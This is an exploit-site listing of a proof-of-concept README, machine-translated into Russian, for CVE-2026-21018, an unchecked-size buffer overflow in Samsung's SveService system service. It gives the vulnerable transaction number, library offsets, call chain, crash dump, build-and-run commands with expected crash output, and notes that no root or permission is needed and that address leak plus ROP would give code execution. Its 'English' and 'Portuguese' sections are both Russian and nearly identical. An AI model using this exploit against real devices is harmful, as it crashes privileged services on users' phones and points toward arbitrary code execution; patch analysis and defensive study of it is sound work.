Sploitus

Exploit for CVE-2026-21018

kitploit · 2026-08-31

Exploit Code

MARKDOWN187 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PEALEAP-CVE-2026-21018
# Переполнение буфера SveService

![Португальский](https://raw.githubusercontent.com/pealeap/cve-2026-21018/HEAD/#portugu%C3%AAs) ![Английский](https://raw.githubusercontent.com/pealeap/cve-2026-21018/HEAD/#portugu%C3%AAs)

* * *

`Samsung SMR May 2026`

`SVE-2026-0478(CVE-2026-21018)`

`Затронутые версии: Android 14, 15, 16`

`Статус раскрытия: частное раскрытие`

`Запись за пределами границ в SveService до SMR May-2026 Release 1 позволяет локальным привилегированным злоумышленникам выполнять произвольный код.`

`Патч добавляет корректную проверку входных данных.`

* * *

### Предупреждение: это Proof-Of-Concept (PoC) только в образовательных целях; я не несу ответственности за любые ваши действия, не связанные с обучением. Вы предупреждены.

### Протестировано на Galaxy A17 LTE (SM-A175F)

* * *

## Английский

### Краткое описание

Уязвимость переполнения буфера в системном сервисе `SveService` (`com.sec.sve`) на устройствах Samsung под управлением Android 16. Сервис работает как `system` (UID 1000) и доступен **без каких-либо специальных разрешений** через Binder.

### Компоненты

Компонент| Роль| Версия  
---|---|---  
`sveservice.apk`| Сервис Android| API 36  
`libsvejni.so`| Нативная библиотека ARM64| Build ID: `0a71afa45f8688b4314ed8e5a0aea8b9`  
  
### Уязвимость

В `sveJNISVE_SetCodecInfo` (`libsvejni.so:0x21710`) параметры `i18`, `i19`, `i20` (полученные из AIDL как `i106/i107/i108`, `TRANSACTION_sveSetCodecInfo = 38`) передаются напрямую в `memset`, `sub sp, sp, xN` (alloca) и `memcpy` **без какой-либо проверки размера**.

Похожие функции (`GetVersion`, `EnableSRTP`, `SetSRTPParams`, `SetGcmSrtpParams`) выполняют проверку с помощью `cmp w20, #0x1e; b.gt` (отклоняя значения > 30 байт). `SetCodecInfo` не выполняет проверку вообще.

### Схема вызова

root@kitploit:~
    
    
    App/Script
      → ServiceManager.getService("SveService")
      → transact(38, parcel, ...)
      → ISecVideoEngineService$Stub.onTransact()
      → SecVideoEngineImpl.sveSetCodecInfo()
      → SveJniProxy.sveJNISVE_SetCodecInfo()
      → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
           ├── memset(dst, 0, i18)
           ├── sub sp, sp, (i19+15)&~15
           ├── memset(dst, 0, i19)
           ├── sub sp, sp, (i20+15)&~15
           ├── memset(dst, 0, i20)
           ├── memcpy(dst, src, i18)
           ├── memcpy(dst, src, i19)
           └── memcpy(dst, src, i20)
    

### Значения с `-1` (0xFFFFFFFF)

### Данные о падении (Tombstone 07)

root@kitploit:~
    
    
    Cause: stack pointer is in a non-existent map; likely due to stack overflow.
    signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
    
    #00  __memset_aarch64+160       libc.so
    #01  sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
    
    x2  00000000ffffffff   ← memset count = 4GB
    x24 00000000ffffffff   ← i18 = -1
    sp  000000707f5f7610   ← SP in invalid region
    x29 000000717f5f7710   ← original frame pointer
    

### PoC

root@kitploit:~
    
    
    cd poc
    ./build_and_run.sh
    

Ожидаемый вывод:

root@kitploit:~
    
    
    [*] Phase 1: valid call (1,1,1)...
    [+] Returned: 0
    [*] Phase 2: i106=-1...
    [!] Exception: DeadObjectException: null
    [+] SveService CRASHED - overflow confirmed
    

### Примечания

  * **Root не требуется** : `ServiceManager.getService()` через `app_process` работает с UID shell.
  * **Обход разрешений** : разрешение `signatureOrSystem` НЕ применяется — сервис регистрируется напрямую через `ServiceManager.addService()`, минуя механизм разрешений Android.
  * **Падение неизбежно** : `memset` с `0xFFFFFFFF` всегда приводит к падению. Для RCE потребовались бы утечка адреса + ROP (PAC отсутствует на SM-A175F).



* * *

## Португальский

### Краткое описание

Уязвимость переполнения буфера в системном сервисе `SveService` (`com.sec.sve`) на устройствах Samsung под управлением Android 16. Сервис работает как `system` (UID 1000) и доступен **без каких-либо специальных разрешений** через Binder.

### Компоненты

Компонент| Роль| Версия  
---|---|---  
`sveservice.apk`| Сервис Android| API 36  
`libsvejni.so`| Нативная библиотека ARM64| Build ID: `0a71afa45f8688b4314ed8e5a0aea8b9`  
  
### Уязвимость

В `sveJNISVE_SetCodecInfo` (`libsvejni.so:0x21710`) параметры `i18`, `i19`, `i20` (полученные из AIDL как `i106/i107/i108`, `TRANSACTION_sveSetCodecInfo = 38`) используются напрямую в качестве аргументов для `memset`, `sub sp, sp, xN` (alloca) и `memcpy` **без какой-либо проверки размера**.

Похожие функции (`GetVersion`, `EnableSRTP`, `SetSRTPParams`, `SetGcmSrtpParams`) выполняют проверку с помощью `cmp w20, #0x1e; b.gt` (отклоняют > 30 байт). `SetCodecInfo` не проверяет ничего.

### Схема вызова

root@kitploit:~
    
    
    App/Script
      → ServiceManager.getService("SveService")
      → transact(38, parcel, ...)
      → ISecVideoEngineService$Stub.onTransact()
      → SecVideoEngineImpl.sveSetCodecInfo()
      → SveJniProxy.sveJNISVE_SetCodecInfo()
      → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
           ├── memset(dst, 0, i18)
           ├── sub sp, sp, (i19+15)&~15
           ├── memset(dst, 0, i19)
           ├── sub sp, sp, (i20+15)&~15
           ├── memset(dst, 0, i20)
           ├── memcpy(dst, src, i18)
           ├── memcpy(dst, src, i19)
           └── memcpy(dst, src, i20)
    

### Значения с `-1` (0xFFFFFFFF)

### PoC

root@kitploit:~
    
    
    cd poc
    ./build_and_run.sh
    

Ожидаемый вывод:

root@kitploit:~
    
    
    [*] Phase 1: valid call (1,1,1)...
    [+] Returned: 0
    [*] Phase 2: i106=-1...
    [!] Exception: DeadObjectException: null
    [+] SveService CRASHED - overflow confirmed
    

### Примечания

  * **Root не требуется** : `ServiceManager.getService()` через `app_process` работает с UID shell.
  * **Обход разрешений** : разрешение `signatureOrSystem` НЕ применяется — сервис регистрируется напрямую через `ServiceManager.addService()`, обходя проверку разрешений.
  * **Падение неизбежно** : `memset` с `0xFFFFFFFF` всегда приводит к падению. Для RCE потребовались бы утечка адреса + ROP (PAC отсутствует на SM-A175F).